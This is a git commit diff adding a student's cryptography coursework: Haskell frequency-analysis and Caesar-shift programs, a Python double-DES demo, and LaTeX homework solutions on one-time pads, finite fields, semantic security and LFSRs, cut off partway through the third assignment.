Put everything on git

25 files changed, 2652 insertions, 0 deletions

diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..1aff5a9
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,47 @@
+# TeX
+*.aux
+*.glo
+*.idx
+*.fdb_latexmk
+*.fls
+*.log
+*.toc
+*.ist
+*.acn
+*.acr
+*.alg
+*.bbl
+*.blg
+*.dvi
+*.glg
+*.gls
+*.ilg
+*.ind
+*.lof
+*.lot
+*.maf
+*.mtc
+*.mtc1
+*.out
+*.pdf
+*.swp
+*.synctex.gz
+_minted-*/
+
+# Haskell
+dist
+cabal-dev
+*.o
+*.hi
+*.chi
+*.chs.h
+*.dyn_o
+*.dyn_hi
+.hpc
+.hsenv
+.cabal-sandbox/
+cabal.sandbox.config
+*.prof
+*.aux
+*.hp
+.stack-work/
diff --git a/.gitmodules b/.gitmodules
new file mode 100644
index 0000000..78b3607
--- /dev/null
+++ b/.gitmodules
@@ -0,0 +1,6 @@
+[submodule "Assignment 4/pypride"]
+	path = Assignment 4/pypride
+	url = https://github.com/camilstaps/pypride
+[submodule "SSH Attack Summary/openssh"]
+	path = SSH Attack Summary/openssh
+	url = https://github.com/openssh/openssh-portable.git
diff --git a/Assignment 1/CamilStaps-assignment1-freqs.hs b/Assignment 1/CamilStaps-assignment1-freqs.hs
new file mode 100644
index 0000000..6c6cd47
--- /dev/null
+++ b/Assignment 1/CamilStaps-assignment1-freqs.hs
@@ -0,0 +1,39 @@
+import System.Environment
+import Data.String.Utils
+import qualified Data.List as List
+
+main = do
+	args <- getArgs
+	let input = replace " " "" (head args)
+	print $ List.reverse $ List.sort $ countfreqs input 1 []
+	print $ List.reverse $ List.sort $ countfreqs input 2 []
+	print $ List.reverse $ List.sort $ countfreqs input 3 []
+
+-- countfreqs s n []: calculate occurrence statistics of n-grams in s
+countfreqs :: String -> Int -> [Freq] -> [Freq]
+countfreqs "" _ fl = fl
+countfreqs s n fl
+	| length s < n = fl
+	| otherwise = countfreqs (tail s) n (freqsincr fl (take n s) [])
+
+-- freqsincr fl s []: add s to the frequencies in fl
+freqsincr :: [Freq] -> String -> [Freq] -> [Freq]
+freqsincr [] s fl = fl ++ [Freq { item = s, freq = 1}]
+freqsincr (freq:fla) s2 flb
+	| get_item freq == s2 = fla ++ flb ++ [Freq { item = s2, freq = get_freq freq + 1}]
+	| otherwise = freqsincr fla s2 (flb ++ [Freq { item = get_item freq, freq = get_freq freq}])
+
+-- Data type for keeping track of frequencies (Int) of substrings (String)
+data Freq = Freq { item :: String, freq :: Int } deriving (Eq)
+
+get_item :: Freq -> String
+get_item = item
+
+get_freq :: Freq -> Int
+get_freq = freq
+
+instance Ord Freq where
+	f1 `compare` f2 = get_freq f1 `compare` get_freq f2
+
+instance Show Freq where
+	show f = get_item f ++ " (" ++ show (get_freq f) ++ "x)"
\ No newline at end of file
diff --git a/Assignment 1/CamilStaps-assignment1-shift.hs b/Assignment 1/CamilStaps-assignment1-shift.hs
new file mode 100644
index 0000000..35a34e7
--- /dev/null
+++ b/Assignment 1/CamilStaps-assignment1-shift.hs
@@ -0,0 +1,14 @@
+import System.Environment
+import Data.String.Utils
+
+main = do
+	args <- getArgs
+	let input = replace " " "" (head args)
+	print $ map (`shiftN` (read $ args!!1)) input
+
+-- shiftN c i: shift c i times forward (i.e. shiftN 'A' 1 == 'B')
+-- Only for uppercase letters
+shiftN :: Char -> Int -> Char
+shiftN c 0 = c
+shiftN 'Z' i = shiftN 'A' (i-1)
+shiftN c i = shiftN (toEnum ((fromEnum c) + 1)) (i-1)
\ No newline at end of file
diff --git a/Assignment 1/CamilStaps-assignment1.hs b/Assignment 1/CamilStaps-assignment1.hs
new file mode 100644
index 0000000..6bc6a4c
--- /dev/null
+++ b/Assignment 1/CamilStaps-assignment1.hs
@@ -0,0 +1,43 @@
+import System.Environment
+import Data.String.Utils
+import qualified Data.List as List
+
+main = do
+	args <- getArgs
+	let input = replace " " "" (head args)
+	putStrLn $ "Running frequency statistics on: " ++ input
+	print $ List.reverse $ List.sort $ countfreqs input 1 []
+	print $ List.reverse $ List.sort $ countfreqs input 2 []
+	print $ List.reverse $ List.sort $ countfreqs input 3 []
+	print $ map (`shiftN` 18) input
+
+countfreqs :: String -> Int -> [Freq] -> [Freq]
+countfreqs "" _ fl = fl
+countfreqs s n fl
+	| length s < n = fl
+	| otherwise = countfreqs (tail s) n (freqsincr fl (take n s) [])
+
+freqsincr :: [Freq] -> String -> [Freq] -> [Freq]
+freqsincr [] s fl = fl ++ [Freq { item = s, freq = 1}]
+freqsincr (freq:fla) s2 flb
+	| get_item freq == s2 = fla ++ flb ++ [Freq { item = s2, freq = get_freq freq + 1}]
+	| otherwise = freqsincr fla s2 (flb ++ [Freq { item = get_item freq, freq = get_freq freq}])
+
+data Freq = Freq { item :: String, freq :: Int } deriving (Eq)
+
+get_item :: Freq -> String
+get_item = item
+
+get_freq :: Freq -> Int
+get_freq = freq
+
+instance Ord Freq where
+	f1 `compare` f2 = get_freq f1 `compare` get_freq f2
+
+instance Show Freq where
+	show f = get_item f ++ " (" ++ show (get_freq f) ++ "x)"
+
+shiftN :: Char -> Int -> Char
+shiftN c 0 = c
+shiftN 'Z' i = shiftN 'A' (i-1)
+shiftN c i = shiftN (toEnum ((fromEnum c) + 1)) (i-1)
\ No newline at end of file
diff --git a/Assignment 1/CamilStaps-assignment1.tex b/Assignment 1/CamilStaps-assignment1.tex
new file mode 100644
index 0000000..0e0b77d
--- /dev/null
+++ b/Assignment 1/CamilStaps-assignment1.tex
@@ -0,0 +1,110 @@
+\documentclass[a4paper]{article}
+
+\usepackage{a4wide,amsmath,amssymb,url,graphicx,comment,enumerate,color,array,inconsolata,minted,listings}
+
+\title{Homework $1$}
+\author{Camil Staps (s4498062)}
+
+\newcommand{\R}{\mathbb R}
+\newcommand{\Q}{\mathbb Q}
+\newcommand{\Z}{\mathbb Z}
+\newcommand{\N}{\mathbb N}
+\newcommand{\F}{\mathbb F}
+\newcommand{\Zstar}{\Z^{^*}}
+
+\begin{document}
+\maketitle
+
+\section*{Solution}
+
+\begin{enumerate}
+\item  \begin{enumerate}
+	\item 	This would work: $p_1$ and $p_2$ share $k_1$ and $k_1'$; $p_1$ and $p_3$ share $k_2$ and $k_2'$; and $p_2$ and $p_3$ share also $k_2$ and $k_2'$. Furthermore, none of the executives has two parts of the key ($k_i$ and $k_i'$ for some $i$).
+	\item 	$p_2$ and $p_3$ can't compute the key together: together they have only $k_1'$ and $k_2'$, they would need either $k_1$ or $k_2$ in addition to that to be able to compute $k$. Therefore, this is not a suitable solution.
+	\item 	$p_1$ can compute $k$ by himself with $k = k_2 \oplus k_2'$, so this is not suitable.
+	\end{enumerate}
+
+\item 	We first compute the one time pad key used, by XOR-ing the ciphertext with the plaintext ``attack by sea''. After that, we XOR the key we found with the plaintext ``attack by air''. Since the first eight bytes of both the plaintext and the key stay the same, we only have to consider the last three bytes.
+
+	\begin{table}[h]
+	\centering
+	{\renewcommand{\arraystretch}{1.2}
+	\begin{tabular}{r | >{\ttfamily}c >{\ttfamily}c >{\ttfamily}c}
+	Plaintext (8-bit ASCII) 			& s 			& e				& a				\\
+	Plaintext (hex)						& 73			& 65			& 61			\\\cline{2-4}
+	Ciphertext (hex)					& 2C			& F4		 	& 71			\\\cline{2-4}
+	Key (XOR of plaintext with ciphertext) & \textbf{5F}& \textbf{91}	& \textbf{10}	\\\cline{2-4}
+	New plaintext (8-bit ASCII)			& a				& i				& r				\\
+	New plaintext (hex)					& 61			& 69			& 72			\\\cline{2-4}
+	New ciphertext (XOR of new plaintext with key) & \textbf{3E} & \textbf{F8} & \textbf{62}
+	\end{tabular}
+	}
+	\end{table}
+
+	The encryption of ``attack by air'' using the same key is thus \texttt{4F 40 20 0D 18 E9 13 33 3E F8 62}.
+
+\item 	\begin{enumerate}
+	\item 	No, node 25 is a child of node 5, so encrypting with this key will give player 25 access.
+	\item 	Yes, this will give players 27 till 30 access. However, 6's parent 2 would give access to player 25 as well.
+	\item 	It would be better to use node 1 which gives access to more players whilst not exposing the movie to player 25.
+	\item 	Yes, per the reason stated before.
+	\item 	Yes, we can't use 26's parent 12 as this would expose the movie to player 25.
+	\item 	Yes, we can't use 11's parent 5 per the reason stated at (a), but using this key won't give player 25 access.
+	\item 	With node 6 we already cover all players with this key, so this is unnecessary.
+	\item 	This key has already been covered with the key in node 1.
+	\end{enumerate}
+
+	Summarising, we need keys $k_1, k_{11}, k_{26}$ and $k_6$.
+
+\item 	We notice that the first eleven letters could correspond to ``Barack Obama'' in plaintext. This gives us:
+
+		\begin{verbatim}BARAC KOBAM A____ ___R_ _A_R_ CA_AM _R_CA __R__ _____\end{verbatim}
+
+		Then we notice we could fit the word ``America(n)'' in, giving:
+
+		\begin{verbatim}BARAC KOBAM AI___ E_IR_ _A_RI CA_AM ERICA __RE_ I_E__\end{verbatim}
+
+		We then realise the plaintext could be ``Barack Obama is the first African American president''. 
+
+\item 	\begin{enumerate}
+	\item 	I wrote a Haskell program which can be found in appendix \ref{App:5a}. The used libraries are used only for basic operations (sorting and reversing lists, replacing substrings in a string) that aren't really part of the main functionality and could be easily written without the libraries. However, this is easier.
+
+		Lines 25 through 37 provide the \texttt{Freq} type which holds a string and an integer, and is used to store the number of occurrences of a substring in a string.
+
+		Lines 13 through 17 provide a method to count $n$-grams occurrences in a string, it returns a list of \texttt{Freq}s. 
+
+		Lines 19 through 23 provide a helper method for \texttt{countfreqs} which takes a list of String occurrences and their frequencies, and a String, and increments the frequency of that String in the list by one.
+
+		The \texttt{main} method reads the first command argument, removes spaces and counts and sorts letter, bigram and trigram occurrences in the string.
+
+	\item 	From the output of the program we find that the trigram \texttt{BPM} occurs the most (7 times) and that the letters \texttt{M}, \texttt{B} and \texttt{P} occur the most as well (respectively 34, 27 and 19 times). From this we guess that \texttt{BPM} could correspond to \texttt{THE} in the plaintext. This would mean a shift of 8.
+
+		We then use the program from appendix \ref{App:5b}, which lets you shift letters in a string. We let it shift $26-8=18$ times, giving:
+
+		\sloppy\texttt{AGOODGLASSINTHEBISHOPSHOSTELINTHEDEVILSSEATTWENTYONEDEGREESANDTHIRTEENMINUTE
+		SNORTHEASTANDBYNORTHMAINBRANCHSEVENTHLIMBEASTSIDESHOOTFROMTHELEFTEYEOFTHEDEA
+		THSHEADABEELINEFROMTHETREETHROUGHTHESHOTFIFTYFEETOUT}
+
+		Or:
+
+		\begin{quote}\itshape
+		A good glass in the bishop's hostel in the devil's seat\\
+		twenty-one degrees and thirteen minutes northeast and by north\\
+		main branch seventh limb east side shoot from the left eye of the death's-head\\
+		a bee line from the tree through the shot fifty feet out.\\
+		\par\raggedleft--- \textup{Edgar Allan Poe}, The Gold-Bug
+		\end{quote}
+	\end{enumerate}
+\end{enumerate}
+
+\appendix
+
+\newpage
+\section{Sourcecode for assignment 5a} \label{App:5a}
+\inputminted[breaklines=true,linenos=true,tabsize=4]{haskell}{CamilStaps-assignment1-freqs.hs}
+
+\newpage
+\section{Sourcecode for assignment 5b} \label{App:5b}
+\inputminted[breaklines=true,linenos=true,tabsize=4]{haskell}{CamilStaps-assignment1-shift.hs}
+
+\end{document}
diff --git a/Assignment 2/CamilStaps-assignment2.tex b/Assignment 2/CamilStaps-assignment2.tex
new file mode 100755
index 0000000..b604b40
--- /dev/null
+++ b/Assignment 2/CamilStaps-assignment2.tex
@@ -0,0 +1,142 @@
+\documentclass[a4paper]{article}
+
+\usepackage{a4wide,amsmath,amssymb,url,graphicx,comment,enumerate,color,array,inconsolata,minted}
+
+\title{Homework $2$}
+\author{Camil Staps (s4498062)}
+
+\newcommand{\R}{\mathbb R}
+\newcommand{\Q}{\mathbb Q}
+\newcommand{\Z}{\mathbb Z}
+\newcommand{\N}{\mathbb N}
+\newcommand{\F}{\mathbb F}
+\newcommand{\Zstar}{\Z^{^*}}
+
+\DeclareMathOperator{\ord}{ord}
+\DeclareMathOperator{\lcm}{lcm}
+\DeclareMathOperator{\lsb}{lsb}
+\DeclareMathOperator{\Prob}{Pr}
+\DeclareMathOperator{\Adv}{Adv}
+
+\begin{document}
+\maketitle
+
+\section*{Solution}
+
+\begin{enumerate}
+\item  
+	\begin{enumerate}
+	\item $\mathbb{Z}_{41}^* = \{1,\dots,40\}$, so $40$.
+	\item No, because $12 \nmid 40$, whilst the Lagrange theorem states that the order of a group is divisible by the orders of all its subgroups.
+	\item We find:
+
+		\begin{itemize}
+		\item $10^1 = 10$
+		\item $10^2 = 100 \equiv 18 \pmod{41}$
+		\item $10^3 \equiv 10 \cdot 18 \equiv 16 \pmod{41}$
+		\item $10^4 \equiv 10 \cdot 16 \equiv 37 \pmod{41}$
+		\item $10^5 \equiv 10 \cdot 37 \equiv 1 \pmod{41}$
+		\item $10^6 \equiv 10 \cdot 1 \equiv 10^1 \pmod{41}$
+		\end{itemize}
+
+		We found five different elements ($10,18,16,37,1$) that can be generated by 10. Since $10^6 \equiv 10^1 \pmod{41}$ we don't have to search further. Hence, $\ord(10)=5$.
+
+	\item We saw already that $10^3 \equiv 16 \pmod{41}$. Then we also know $\log_{10}{16} \equiv 3\pmod{41}$.
+	\item We saw $37 \equiv 10^4 \pmod{41}$. We then also know $37^7 \equiv (10^4)^7 \equiv 10^{28} \equiv (10^5)^5\cdot10^3 \equiv 1^5\cdot10^3 \equiv 10^3 \equiv 16\pmod{41}$ (using our knowledge from 1c).
+	\end{enumerate}
+
+\item
+	\begin{enumerate}
+	\item Yes: we can take $c=3$ and $n'=4$, since
+		\begin{align*}
+		2n + 5 &\le 2n + n \qquad\text{for $n>4$}\\
+			&= 3n.
+		\end{align*}
+
+	\item Yes: we can take $c=2$, because for large enough $n$
+		\begin{align*}
+		-2n^2 + 5n + 10 &\le 0 \qquad\text{(since this describes a parabola opening down)}\\
+		5n + 10 &\le 2n^2\\
+		5 + \frac{10}{n} &\le 2n\\
+		2n + 5 + \frac{10}{n} &\le 4n\\
+			&= 2\cdot2n.
+		\end{align*}
+
+	\item We know\footnote{I'm assuming `$\log$' is used for the base 10 logarithm rather than the natural logarithm. A proof for the same question with the natural logarithm would be very similar, so this should not be a problem.} $\log(n)>1$ for $n>10$ and thus also $n\log(n)>n$ for $n>10$. Hence, $\nexists_{n'\in\mathbb{N}}\forall_{n\in\mathbb{N},n>n'}[n\log(n)\le n]$. We can conclude that $n\log(n)\neq O(n)$.
+
+	\item We know that for $n \ge 1$:
+		\begin{align*}
+		n &\le 10^n \\
+		10^{\log n} &\le 10^n \\
+		\log n &\le n \\
+		n\log n &\le n^2
+		\end{align*}
+
+		So we have $n\log n \le c\cdot n^2$ with $c=1$ for every $n>n'=0$. Therefore, $n\log n = O(n^2)$.
+
+	\item 
+		If we flip the $\ge$ sign in the formula for the $\Omega$-notation, we see $f = O(g) \Leftrightarrow g = \Omega(f)$. We can then rewrite this question to the question whether $n^5=O(2n+5+\frac{10}{n})$.
+
+		We know that for large enough $n$ it holds that $n^4 \ge c\cdot 2$, since for positive increasing $n$ this function also increases. We then also know that $n^5 \ge c\cdot 2n$. We saw already in (b) that $2n+5+\frac{10}{n}\le c\cdot 2n$. Combining the two, we see that $n^5 \ge 2n+5+\frac{10}{n}$ for large enough $n$. Hence, $n^5 \neq O(2n+5+\frac{10}{n})$ and also $2n+5+\frac{10}{n} \neq \Omega(n^5)$.
+	\end{enumerate}
+
+\item 
+	\begin{enumerate}
+	\item \begin{minted}[tabsize=0]{python}
+		sage: Z2P.<x> = GF(2)[]
+		sage: (x^6+x^4+x^3+x+1).is_irreducible()
+		True
+		\end{minted}
+
+	\item Still in $\mathbb{F}_2$:
+
+		\begin{minted}[tabsize=0]{python}
+		sage: (x^7).mod(x^6+x^4+x^3+x+1)
+		x^5 + x^4 + x^2 + x
+		sage: (x^8).mod(x^6+x^4+x^3+x+1)
+		x^5 + x^4 + x^2 + x + 1
+		\end{minted}
+
+		Or, by hand:
+		\begin{align*}
+		x^7 &\equiv x^7 - x(x^6+x^4+x^3+x+1)\\
+			&\equiv x^7 -x^7 -x^5 -x^4 -x^2 -x\\
+			&\equiv x^5 + x^4 + x^2 + x \pmod{x^6 + x^4 + x^3 + x + 1}\\
+		x^8 &\equiv x\cdot x^7\\
+			&\equiv x(x^5+x^4+x^2+x)\\
+			&\equiv x^6 + x^5 + x^3 + x^2 - (x^6+x^4+x^3+x+1)\\
+			&\equiv x^5 + x^4 + x^2 +x + 1 \pmod{x^6 + x^4 + x^3 + x + 1}\\
+		\end{align*}
+
+	\item We have $\{a_1x^5 + a_2x^4 + \dots + a_6x^0 \mid a_i \in \{0,1\}\}$. We have two possibilities for each $a_i\in\{a_1,\dots,a_6\}$, that gives $2^6=64$ elements. The multiplicative group contains the same elements except $0$, and thus has $64-1=63$ elements.
+	\item 
+		\begin{enumerate}
+		\item In the table we read that $x^{56} \equiv x+1 \pmod{x^6+x^4+x^3+x+1}$. We thus have the set $\{x^{56k}\mid k\in\mathbb{N^+}\}=\{x^{56},x^{112},x^{168},\dots\}$ and need to find the smallest $k>1$ such that $x^{56k} \equiv x^{56}$ (because then we've cycled through the whole group).
+
+			We know that $x^{56k}\equiv x^{56k\bmod64}$, so we can reduce the problem to finding the smallest $k>1$ such that $56k\equiv 56\pmod{64}$, or $56(k-1)\equiv 0\pmod{64}$ We then find $k-1=\frac{\lcm{56,64}}{56}=8$, and $k=8+1=9$.
+
+			We can conclude $(x+1)^{9} \equiv x+1$ and that there is no $1<k<9$ for which $(x+1)^k \equiv x+1$. We then see that the multiplicative group generated by $x+1$ is $\{(x+1)^k \mid k \in \{1,2,\dots,8\}\}$, and thus that its order is $9-1=8$.
+
+		\item Similarly, we see in the table that $x^{22} \equiv x^4 + x^3 + x^2$. We now need to find the smallest $k>1$ such that $22k \equiv22 \pmod{64}$. Following the same method as before, we find $k=\frac{\lcm{22,64}}{22}+1=\frac{704}{22}+1=33$, giving as order $k-1=33-1=32$.
+		\end{enumerate}
+	\end{enumerate}
+
+\item 
+	\begin{enumerate}
+	\item $D'_k(c) \stackrel{\text{def}}{=} D_k(c|_{0,|c|-2})$, where $s|_{a,b} \stackrel{\text{def}}{=}$ the substring of $s$ starting at (and including) index $a$ and ending at (and including) index $b$. This essentially discards the bit added to the end of $E_k$ by $E'_k$ and then uses $D_k$ to decrypt the rest.
+	\item She could have one of $m_0=\dots0, m_1=\dots1$ encrypted. Then, by looking at the least significant bit of the ciphertext - the least significant bit of the encrypted plaintext $m_b$ - she can recognise which plaintext was encrypted, and guess $b' = \lsb(E'_k(m_b))$, which, by the definition of $E'_k$, also equals $b$.
+	%\item For $b=0$ we are sure of $W_0$ (where we use the notation from the lecture $W_b \stackrel{\text{def}}{=} E(k,m_b)\;\text{was given}$). Hence, ${\rm Adv}_{SS}[A,E] := |\Prob[W_0]-\Prob[W_1]| = |1-0| = 1$. Similarly, for $b=1$, we have ${\rm Adv}_{SS}[A,E] := |\Prob[W_0]-\Prob[W_1]| = |0-1| = 1$. Therefore, the advantage is $1$ independent of $b$.
+	\item For $b=0$, $m_0$ is encrypted yielding a ciphertext $c$ with $\lsb(c)=0$. The adversary guesses $b'=\lsb(c)=0$, so $\Prob[W_0]=0$. In case $b=1$, $m_1$ is encrypted yielding a ciphertext $c$ with $\lsb(c)=1$. The adversary guesses $b'=\lsb(c)=1$, so $\Prob[W_1]=1$. The advantage is then $\Adv_{SS}[A,E]=|\Prob[W_0]-\Prob[W_1]|=|0-1|=1$. Since this is not negligible, we have proven $\Pi$ to be insecure and at the same time shown the correctness of our answer at (b).
+	\end{enumerate}
+
+\item 
+	\begin{enumerate}
+	\item As always we assume that the adversary has knowledge of the encryption scheme used and the security factor $n$. He thus knows $E'(k,m)=E(k,m)||k$, as well as $D'(k,c)$ and $D(k,c)$, and furthermore can compute the length of the key, since it depends on $n$. Hence, he can split up $E'(k,m)$ in $E(k,m)$ and $k$. He can then compute $D(k,E(k,m))=m$ to find the plaintext. Therefore, this scheme is not secure.
+	\item Without loss of information an adversary can discard either half of a ciphertext, getting $E(k,m)$. We know that $E$ is semantically secure and we've seen that $E'$ does not introduce new information for the adversary as opposed to $E$, and thus can conclude that also $E'$ is semantically secure.
+	\item Without loss of information an adversary can compute $E(k,m) = reverse(E'(k,m))$. We know that $E$ is semantically secure and we've seen that $E'$ does not introduce new information for the adversary as opposed to $E$, and thus can conclude that also $E'$ is semantically secure.
+	\item The adversary is assumed to know $E'=E(0^n,m)$ and $D$. Since $D(k,E(k,m))=m$ we know $m=D(0^n,E(0^n,m))=D(0^n,E'(k,m))$. This last formula uses only information the adversary knows (the ciphertext $E'(k,m)$ and the decryption function $D$), so the adversary can decrypt a text encrypted with $E'$, which means this scheme is insecure.
+	\item The leading zero contains no information about the plaintext and can thus be discarded by the adversary without loss of information. He then has $E(k,m)$, which therefore contains precisely the same information about the key and the plaintext as $E'(k,m)$. Since $E$ is semantically secure, we can now conclude that $E'$ is as well.
+	\end{enumerate}
+\end{enumerate}
+
+\end{document}
diff --git a/Assignment 3/2des-demo.py b/Assignment 3/2des-demo.py
new file mode 100755
index 0000000..b5b7247
--- /dev/null
+++ b/Assignment 3/2des-demo.py
@@ -0,0 +1,74 @@
+#!/usr/bin/python
+import sys, getopt, binascii, random
+from Crypto.Cipher import DES
+
+# From http://stackoverflow.com/a/843846/1544337
+# 1 for odd parity, 0 for even parity
+# Was used only in a previous version of nthByte
+# def parity(b):
+#     c = 0
+#     while b != 0:
+#         c += 1
+#         b &= b - 1
+#     return c % 2
+
+# Find the nth possibility for a byte with odd parity
+oddBytes = [1,2,4,7,8,11,13,14,16,19,21,22,25,26,28,31,32,35,37,38,41,42,44,47,49,50,52,55,56,59,61,62,64,67,69,70,73,74,76,79,81,82,84,87,88,91,93,94,97,98,100,103,104,107,109,110,112,115,117,118,121,122,124,127,128,131,133,134,137,138,140,143,145,146,148,151,152,155,157,158,161,162,164,167,168,171,173,174,176,179,181,182,185,186,188,191,193,194,196,199,200,203,205,206,208,211,213,214,217,218,220,223,224,227,229,230,233,234,236,239,241,242,244,247,248,251,253,254]
+def nthByte(n):
+    return oddBytes[n]
+    # c = -1                        # This is the old version. The new version uses a faster lookup table.
+    # b = 0
+    # while c != n:
+    #     b += 1
+    #     if parity(b) == 1:
+    #         c += 1
+    # return b
+
+# Find the nth key in which all bytes have odd parity
+def nthKey(n):
+    key = ''
+    for b in range(7,-1,-1):
+        key += chr(nthByte((n >> b*7) & 0x7f))
+    return key
+
+def main(argv):
+    l = 24
+
+    # Parse arguments. Use -h for help.
+    try:
+        opts, args = getopt.getopt(argv, "hl:")
+    except getopt.GetoptError:
+        usage()
+        sys.exit(2)
+
+    for opt, arg in opts:
+        if opt == '-h':
+            usage()
+            sys.exit()
+        elif opt == '-l':
+            l = int(arg)
+
+    # generate two keys
+    r = random.SystemRandom()
+    k1 = nthKey(r.randint(0, pow(2, l) - 1))
+    k2 = nthKey(r.randint(0, pow(2, l) - 1))
+    
+    print 'k_1: %s' % binascii.b2a_hex(k1)
+    print 'k_2: %s' % binascii.b2a_hex(k2)
+
+    round1 = DES.new(k1, DES.MODE_ECB)
+    round2 = DES.new(k2, DES.MODE_ECB)
+
+    # Some random plaintext - ciphertext pairs to verify the working of this code
+    print 'plaintext        : ciphertext'
+    for n in range(0,10):
+        pt = '{:016x}'.format(r.randint(0, pow(2, 64) -1))
+        ct = round2.encrypt(round1.encrypt(binascii.a2b_hex(pt)))
+        print pt + ' : ' + binascii.b2a_hex(ct)
+
+def usage():
+    print 'Usage: 2des-demo.py [-l <keylength>]'
+    print '  keylength : pick keys from the first 2^l keys (default: 24)'
+
+if __name__ == "__main__":
+    main(sys.argv[1:])
\ No newline at end of file
diff --git a/Assignment 3/CamilStaps-assignment3.tex b/Assignment 3/CamilStaps-assignment3.tex
new file mode 100644
index 0000000..da7d433
--- /dev/null
+++ b/Assignment 3/CamilStaps-assignment3.tex
@@ -0,0 +1,219 @@
+\documentclass[a4paper]{article}
+
+\usepackage{amsmath,amssymb,amsthm,url,graphicx,comment,enumerate,color,array,inconsolata,minted,subcaption,adjustbox}
+\usepackage[margin=2cm]{geometry}
+
+\title{Homework $3$}
+\author{Camil Staps (s4498062)}
+
+\newcommand{\R}{\mathbb R}
+\newcommand{\Q}{\mathbb Q}
+\newcommand{\Z}{\mathbb Z}
+\newcommand{\N}{\mathbb N}
+\newcommand{\F}{\mathbb F}
+\newcommand{\Zstar}{\Z^{^*}}
+
+\DeclareMathOperator{\ord}{ord}
+\DeclareMathOperator{\lcm}{lcm}
+\DeclareMathOperator{\lsb}{lsb}
+\DeclareMathOperator{\Prob}{Pr}
+\DeclareMathOperator{\Adv}{Adv}
+
+\DeclareMathAlphabet{\pazocal}{OMS}{zplm}{m}{n}
+
+\usepackage{tikz}
+\usetikzlibrary{shapes.multipart,shapes.gates.logic.IEC,shapes.arrows,positioning,decorations.markings}
+
+\begin{document}
+\maketitle
+
+\section*{Solution}
+
+\begin{enumerate}
+\item  
+	\begin{enumerate}
+	\item 
+		\begin{enumerate}
+		\item 
+			\begin{minipage}[t]{\linewidth}
+			\centering
+			\adjustbox{valign=t}{%
+			\begin{tikzpicture}[LFSR/.style={rectangle split, rectangle split horizontal=true, rectangle split parts=#1, draw, anchor=center}, ARROW/.style={draw,thick,single arrow,single arrow head extend=3pt,transform shape}]]
+			\node[LFSR=5] (register) {\nodepart{one}$s_4$\nodepart{two}$s_3$\nodepart{three}$s_2$\nodepart{four}$s_1$\nodepart{five}$s_0$};
+			\node[circle, inner sep=0, below=6mm of register.one south] (xor) {\scalebox{1}{$\oplus$}};
+			\draw[->] (register.one south) -- (xor);
+			\draw[->] (register.two south) |- (xor);
+			\draw (register.three south) |- (xor);
+			\draw (register.five south) |- (xor);
+			\draw (xor.west) -- ++(left:4mm) node[anchor=north] (hook1) {};
+			\draw[->] (hook1) |- (register.one west);
+			\draw[->] (register.five east) -- ++(right:4mm) node[anchor=west] {$\dots$};
+			\end{tikzpicture}
+			}
+			\end{minipage}
+
+		\item 
+			$$M = \begin{pmatrix}
+			0 & 1 & 0 & 0 & 0 \\
+			0 & 0 & 1 & 0 & 0 \\
+			0 & 0 & 0 & 1 & 0 \\
+			0 & 0 & 0 & 0 & 1 \\
+			1 & 0 & 1 & 1 & 1
+			\end{pmatrix}$$
+
+		\item
+			That bit stream contains $0^L$. We know that $0 \oplus \dots \oplus 0 = 0$, so after $0^L$, only zeros can follow. However, this is not the case. Therefore, this bit stream cannot be a part of the output of this LFSR.
+
+		\item 
+			% In figure \ref{fig:1ai} we see that $c_L=1$. We then check if $C(X)$ is an irreducible polynomial. Since $C(X)=\dots+1$ and $\deg(C(X))=5$, we only need to consider products of two polynomials $f_1,f_2$ for which $\deg(f_1)+\deg(f_2)=5$ and both polynomials have a term $1$. We then check all possible combinations:
+
+			% \begin{table}[h]
+			% \centering
+			% \begin{tabular}{>{$}l<{$} >{$}l<{$} | >{$}l<{$}}
+			% f_1(x) 						& f_2(x) 			& (f_1 \circ f_2)(x) = (f_2 \circ f_1)(x) \\\hline
+			% x^4 + x^3 + x^2 + x + 1		& x + 1				& x^5 + 1 \\
+			% x^4 + x^3 + x^2 + 1			& x + 1				& x^5 + x^2 + x + 1 \\
+			% x^4 + x^3 + x + 1			& x + 1				& x^5 + x^3 + x^2 + 1 \\
+			% x^4 + x^3 + 1				& x + 1				& x^5 + x^3 + x + 1\\
+			% x^4 + x^2 + x + 1			& x + 1				& x^5 + x^4 + x^3 + 1\\
+			% x^4 + x^2 + 1				& x + 1				& x^5 + x^4 + x^3 + x^2 + x + 1\\
+			% x^4 + x + 1					& x + 1				& x^5 + x^4 + x^2 + 1\\
+			% x^4 + 1						& x + 1				& x^5 + x^4 + x + 1\\
+
+			% x^3 + x^2 + x + 1			& x^2 + x + 1		& x^5 + x^3 + x^2 + 1\\
+			% x^3 + x^2 + x + 1			& x^2 + 1			& x^5 + x^4 + x + 1\\
+			% x^3 + x^2 + 1				& x^2 + x + 1		& x^5 + x + 1\\
+			% x^3 + x^2 + 1				& x^2 + 1			& x^5 + x^4 + x^3 + x + 1\\
+			% x^3 + x + 1					& x^2 + x + 1		& x^5 + x^4 + 1\\
+			% x^3 + x + 1					& x^2 + 1			& x^5 + x^2 + x + 1\\
+			% x^3 + 1						& x^2 + x + 1		& x^5 + x^4 + x^3 + x^2 + x + 1\\
+			% x^3 + 1						& x^2 + 1			& x^5 + x^3 + x^2 + 1\\
+			% \end{tabular}
+			% \end{table}
+
+			% Since $C(X)$ does not appear in the rightmost column of this table, it is an irreducible polynomial.
+
+			In the figure above we see that $c_L=1$. Using sage, we find that $C(X)$ is a primitive polynomial:
+
+			\begin{minted}[tabsize=0]{python}
+			sage: Z2P.<x> = GF(2)[]                 
+			sage: (x^5+x^3+x^2+x+1).is_primitive()  
+			True
+			\end{minted}
+
+			The period of this LFSR is then $2^L-1=31$.
+
+		\item
+			We construct the states using matrix multiplication. As an example we show $M\cdot s_1$:
+			$$M\cdot s_1 = \begin{pmatrix}0 & 1 & 0 & 0 & 0 \\0 & 0 & 1 & 0 & 0 \\0 & 0 & 0 & 1 & 0 \\0 & 0 & 0 & 0 & 1 \\1 & 0 & 1 & 1 & 1\end{pmatrix} \cdot \begin{pmatrix}0 \\ 0 \\ 0 \\ 0 \\ 1\end{pmatrix} = \begin{pmatrix}0 \\ 0 \\ 0 \\ 1 \\ 1\end{pmatrix} = s_3$$
